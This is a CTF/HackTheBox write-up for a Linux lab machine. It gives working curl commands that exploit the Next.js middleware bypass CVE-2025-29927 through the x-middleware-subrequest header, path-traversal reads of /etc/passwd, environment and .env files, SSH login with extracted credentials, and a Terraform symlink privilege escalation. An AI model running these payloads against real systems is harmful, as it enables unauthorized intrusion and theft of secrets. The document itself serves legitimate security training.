Pentest Writeups | Hugo Beaulieu

A collection of writeups for HackTheBox and CTF competitions.

View on GitHub
26 September 2025

Previous

by Hugo Beaulieu

Overview

Previous is a Linux machine running a Next.js application vulnerable to CVE-2025-29927, which allows middleware bypass and local file inclusion. The exploitation involves bypassing middleware protection to access hidden API endpoints, extracting hardcoded credentials from server-side JavaScript files, and escalating privileges through Terraform provider path manipulation with symbolic links.

Initial Enumeration

Nmap Scan

We start with an nmap scan:

nmap -sV -v 10.100.100.100

Results:

PORT   STATE SERVICE
80/tcp open  http

A web server is running on port 80.

Web Application Analysis

Initial Discovery

Accessing the website, we find a login page for documentation:

http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs

Technology Stack

Using nikto, we identify the framework:

nikto -h http://previous.htb/

Result:

Retrieved x-powered-by header: Next.js

The application is built with Next.js, a popular React framework.

Username Discovery

Using cewl to extract information from the website:

cewl http://previous.htb/

We find an email address:

jeremy@previous.htb

This gives us a potential username: jeremy.

Authentication API Analysis

When accessing the login page, we observe these API calls:

GET http://previous.htb/api/auth/providers
Response: {
  "credentials": {
    "id": "credentials",
    "name": "Credentials",
    "type": "credentials",
    "signinUrl": "http://localhost:3000/api/auth/signin/credentials",
    "callbackUrl": "http://localhost:3000/api/auth/callback/credentials"
  }
}

GET http://previous.htb/api/auth/csrf
Response: f5748834f8f3f9c77a2bd17a56c23326399219844ea54d93ffcedfb943a6f5f7

Session cookies observed:

next-auth.callback-url: "http://localhost:3000/docs"
next-auth.csrf-token: "f5748834f8f3f9c77a2bd17a56c23326399219844ea54d93ffcedfb943a6f5f7|..."

CVE-2025-29927 Exploitation

Identifying the Vulnerability

We discover CVE-2025-29927, which affects Next.js middleware. This vulnerability allows bypassing middleware protection through a specially crafted header.

Testing the Exploit

We test different middleware bypass payloads using Burp Suite:

x-middleware-subrequest: pages/_middleware
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

The header x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware successfully bypasses authentication!

Discovering Hidden Endpoints

With middleware bypassed, we discover previously hidden documentation URLs:

http://previous.htb/docs/getting-started
http://previous.htb/docs/api-reference
http://previous.htb/docs/examples

We also find a file download API:

http://previous.htb/api/download?example=hello-world.ts

Local File Inclusion

Testing LFI

We can manipulate the download endpoint to read arbitrary files:

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  "http://previous.htb/api/download?example=../../../etc/passwd"

Success! We can read /etc/passwd:

root:x:0:0:root:/root:/bin/sh
...
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin

We identify two users: node and nextjs.

Discovering Application Structure

Reading /proc/self/environ:

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  "http://previous.htb/api/download?example=../../../proc/self/environ"

Result:

NODE_VERSION=18.20.8
HOSTNAME=0.0.0.0
PWD=/app
NODE_ENV=production
NEXT_TELEMETRY_DISABLED=1

The application is running from /app.

Extracting Environment Variables

We read the .env file:

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  "http://previous.htb/api/download?example=../../../app/.env"

Result:

NEXTAUTH_SECRET=82a464f1c3509a81d5c973c31a23c61a

Finding Hardcoded Credentials

After generating a wordlist of potential Next.js file locations, we find:

/api/download?example=../../../app/.next/server/pages/api/auth/[...nextauth].js

This compiled server-side JavaScript file contains hardcoded credentials:

username: "jeremy";
password: "[REDACTED]";

SSH Access

We SSH into the server with the discovered credentials:

ssh jeremy@previous.htb
# Password: [REDACTED]

Success! We retrieve the user flag.

Privilege Escalation Enumeration

Home Directory Analysis

Listing jeremy’s home directory:

ls -lah

Results:

drwxr-x--- 6 jeremy jeremy 4.0K Sep 26 04:46 .
drwxr-xr-x 3 root   root   4.0K Aug 21 20:09 ..
lrwxrwxrwx 1 root   root      9 Aug 21 19:57 .bash_history -> /dev/null
-rw-r--r-- 1 jeremy jeremy  220 Aug 21 17:28 .bash_logout
-rw-r--r-- 1 jeremy jeremy 3.7K Aug 21 17:28 .bashrc
drwx------ 2 jeremy jeremy 4.0K Aug 21 20:09 .cache
drwxr-xr-x 3 jeremy jeremy 4.0K Aug 21 20:09 docker
-rw-r--r-- 1 jeremy jeremy  807 Aug 21 17:28 .profile
drwxrwxr-x 3 jeremy jeremy 4.0K Sep 26 04:46 root
drwxr-xr-x 2 root   root   4.0K Sep 26 04:18 .terraform.d
-rw-rw-r-- 1 jeremy jeremy  150 Aug 21 18:48 .terraformrc
lrwxrwxrwx 1 jeremy jeremy    4 Sep 26 04:45 tmp_link -> /tmp
-rw-r----- 1 root   jeremy   33 Sep 25 21:57 user.txt

Unusual findings:

Terraform Configuration

Reading .terraformrc:

cat .terraformrc

Content:

provider_installation {
  dev_overrides {
    "previous.htb/terraform/examples" = "/usr/local/go/bin"
  }
  direct {}
}

This suggests Terraform with custom provider overrides.

Sudo Privileges

sudo -l

Result:

Matching Defaults entries for jeremy on previous:
    !env_reset, env_delete+=PATH, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir\=/opt/examples apply

Jeremy can run terraform apply as root, but only from the /opt/examples directory!

Terraform Privilege Escalation

Analyzing the Terraform Configuration

Reading /opt/examples/main.tf:

cat /opt/examples/main.tf

Content:

terraform {
  required_providers {
    examples = {
      source = "previous.htb/terraform/examples"
    }
  }
}

variable "source_path" {
  type = string
  default = "/root/examples/hello-world.ts"

  validation {
    condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
    error_message = "The source_path must contain '/root/examples/'."
  }
}

provider "examples" {}

The validation rule requires:

This prevents directory traversal, but there’s a bypass!

We can create a symbolic link that satisfies the validation while pointing to any file:

# Create directory structure
mkdir -p /home/jeremy/root/examples

# Create symlink to root filesystem
ln -s / /home/jeremy/root/examples/srv_root_link

Now we have:

/home/jeremy/root/examples/srv_root_link -> /

This means:

/home/jeremy/root/examples/srv_root_link/root/root.txt

Points to /root/root.txt while technically containing /root/examples/ in the path!

Exploitation

Set the Terraform variable:

export TF_VAR_source_path="/home/jeremy/root/examples/srv_root_link/root/root.txt"

Run terraform as root:

sudo /usr/bin/terraform -chdir=/opt/examples apply

Terraform will process the file at the symlinked location, allowing us to read /root/root.txt and obtain the root flag!

Key Takeaways

tags: linux - nextjs - cve-2025-29927 - lfi - terraform - symlink